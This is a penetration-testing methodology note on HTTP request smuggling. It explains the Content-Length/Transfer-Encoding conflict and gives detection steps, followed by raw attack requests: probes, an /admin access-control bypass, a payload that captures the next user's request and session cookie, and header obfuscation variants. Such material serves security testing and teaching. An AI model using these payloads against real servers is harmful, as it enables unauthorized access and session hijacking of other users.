http-request-smuggling

HTTP Request Smuggling

What Is Broken and Why

HTTP request smuggling arises from ambiguity in how HTTP/1.1 allows both Content-Length and Transfer-Encoding headers simultaneously. When a front-end proxy and back-end server disagree on which header takes precedence, an attacker can craft a request whose body is interpreted differently by each hop. The "leftover" bytes from one request are prepended to the next user's request, allowing attackers to poison the request pipeline, bypass security controls, hijack sessions, and perform reflected XSS without user interaction.

Key Signals

• Application sits behind a reverse proxy, load balancer, or CDN
• Delayed response to a crafted request with conflicting length headers (timing-based detection)
• Different HTTP response when Transfer-Encoding: chunked and Content-Length headers are both present
• 400 Bad Request or 500 from back-end on specific header combinations
• Burp's HTTP Request Smuggler extension flagging the endpoint
• Front-end rewrites or strips certain headers (evidence in X-Forwarded-* reflection)

Methodology

1. Identify endpoints that pass through a proxy/CDN layer.
2. Send a CL.TE detection probe: include both Content-Length and Transfer-Encoding: chunked with conflicting values; observe timing and response differences.
3. Send a TE.CL detection probe: Transfer-Encoding terminates the body early, Content-Length extends it.
4. Confirm vulnerability with a harmless poisoning request that prepends a known prefix to the next request.
5. Escalate based on what prefix is prepended (bypass access controls, capture requests, perform SSRF, etc.).
6. Use Burp's HTTP Request Smuggler extension to automate detection across all methods.

Payloads & Tools

# CL.TE probe (front-end uses Content-Length, back-end uses Transfer-Encoding)
# Send with Content-Length: 6 but chunked body terminator at byte 3
POST / HTTP/1.1
Host: TARGET
Content-Length: 6
Transfer-Encoding: chunked

3
abc
0


# TE.CL probe (front-end uses Transfer-Encoding, back-end uses Content-Length)
POST / HTTP/1.1
Host: TARGET
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0


# Access control bypass — smuggle request to restricted endpoint
POST / HTTP/1.1
Host: TARGET
Content-Length: 116
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

# Capture next user's request (poison with open POST)
POST / HTTP/1.1
Host: TARGET
Content-Length: 198
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: TARGET
Content-Length: 400
Cookie: session=TOKEN

csrf=TOKEN2&postId=5&name=carlos&email=foo%40bar.com&comment=

# Burp Suite HTTP Request Smuggler extension
# Extensions -> HTTP Request Smuggler -> Smuggle Probe
# Run against target host to auto-detect CL.TE, TE.CL, TE.TE variants

# TE.TE obfuscation variants to bypass front-end normalization
Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
 Transfer-Encoding: chunked
X: X\nTransfer-Encoding: chunked
Transfer-Encoding
 : chunked